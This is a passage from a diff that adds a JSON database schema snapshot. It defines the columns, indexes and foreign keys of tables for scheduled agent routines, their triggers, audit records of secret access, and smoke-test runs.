+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_trigger_id_routine_triggers_id_fk": {
+          "name": "routine_runs_trigger_id_routine_triggers_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_triggers",
+          "columnsFrom": [
+            "trigger_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_revision_id_routine_revisions_id_fk": {
+          "name": "routine_runs_routine_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "routine_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_linked_issue_id_issues_id_fk": {
+          "name": "routine_runs_linked_issue_id_issues_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "linked_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_triggers": {
+      "name": "routine_triggers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "cron_expression": {
+          "name": "cron_expression",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timezone": {
+          "name": "timezone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_fired_at": {
+          "name": "last_fired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "public_id": {
+          "name": "public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signing_mode": {
+          "name": "signing_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "replay_window_sec": {
+          "name": "replay_window_sec",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_result": {
+          "name": "last_result",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_triggers_company_routine_idx": {
+          "name": "routine_triggers_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_company_kind_idx": {
+          "name": "routine_triggers_company_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_next_run_idx": {
+          "name": "routine_triggers_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_idx": {
+          "name": "routine_triggers_public_id_idx",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_uq": {
+          "name": "routine_triggers_public_id_uq",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_triggers_company_id_companies_id_fk": {
+          "name": "routine_triggers_company_id_companies_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_routine_id_routines_id_fk": {
+          "name": "routine_triggers_routine_id_routines_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_secret_id_company_secrets_id_fk": {
+          "name": "routine_triggers_secret_id_company_secrets_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_created_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_updated_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routines": {
+      "name": "routines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "concurrency_policy": {
+          "name": "concurrency_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'coalesce_if_active'"
+        },
+        "catch_up_policy": {
+          "name": "catch_up_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'skip_missed'"
+        },
+        "activity_gate_policy": {
+          "name": "activity_gate_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'always'"
+        },
+        "activity_gate_scope": {
+          "name": "activity_gate_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "variables": {
+          "name": "variables",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_enqueued_at": {
+          "name": "last_enqueued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routines_company_status_idx": {
+          "name": "routines_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_assignee_idx": {
+          "name": "routines_company_assignee_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_project_idx": {
+          "name": "routines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_folder_idx": {
+          "name": "routines_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_responsible_user_idx": {
+          "name": "routines_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_origin_idx": {
+          "name": "routines_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routines_company_id_companies_id_fk": {
+          "name": "routines_company_id_companies_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_project_id_projects_id_fk": {
+          "name": "routines_project_id_projects_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_folder_id_folders_id_fk": {
+          "name": "routines_folder_id_folders_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_goal_id_goals_id_fk": {
+          "name": "routines_goal_id_goals_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_parent_issue_id_issues_id_fk": {
+          "name": "routines_parent_issue_id_issues_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_assignee_agent_id_agents_id_fk": {
+          "name": "routines_assignee_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routines_created_by_agent_id_agents_id_fk": {
+          "name": "routines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_updated_by_agent_id_agents_id_fk": {
+          "name": "routines_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.secret_access_events": {
+      "name": "secret_access_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_scope": {
+          "name": "secret_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_owner_user_id": {
+          "name": "credential_owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_type": {
+          "name": "credential_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_id": {
+          "name": "credential_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consumer_type": {
+          "name": "consumer_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "consumer_id": {
+          "name": "consumer_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "secret_access_events_company_created_idx": {
+          "name": "secret_access_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_secret_created_idx": {
+          "name": "secret_access_events_secret_created_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_user_definition_created_idx": {
+          "name": "secret_access_events_user_definition_created_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_company_credential_owner_idx": {
+          "name": "secret_access_events_company_credential_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "credential_owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_consumer_idx": {
+          "name": "secret_access_events_consumer_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_run_idx": {
+          "name": "secret_access_events_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "secret_access_events_company_id_companies_id_fk": {
+          "name": "secret_access_events_company_id_companies_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_secret_id_company_secrets_id_fk": {
+          "name": "secret_access_events_secret_id_company_secrets_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_issue_id_issues_id_fk": {
+          "name": "secret_access_events_issue_id_issues_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_plugin_id_plugins_id_fk": {
+          "name": "secret_access_events_plugin_id_plugins_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_run_steps": {
+      "name": "smoke_run_steps",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scenario_step": {
+          "name": "scenario_step",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "detail": {
+          "name": "detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "screenshot_artifact_ref": {
+          "name": "screenshot_artifact_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_run_steps_company_run_idx": {
+          "name": "smoke_run_steps_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_run_steps_company_path_idx": {
+          "name": "smoke_run_steps_company_path_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_run_steps_company_id_companies_id_fk": {
+          "name": "smoke_run_steps_company_id_companies_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "smoke_run_steps_run_id_smoke_runs_id_fk": {
+          "name": "smoke_run_steps_run_id_smoke_runs_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "smoke_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_runs": {
+      "name": "smoke_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_runs_company_started_idx": {
+          "name": "smoke_runs_company_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_runs_company_status_idx": {
+          "name": "smoke_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_runs_company_id_companies_id_fk": {
+          "name": "smoke_runs_company_id_companies_id_fk",
+          "tableFrom": "smoke_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
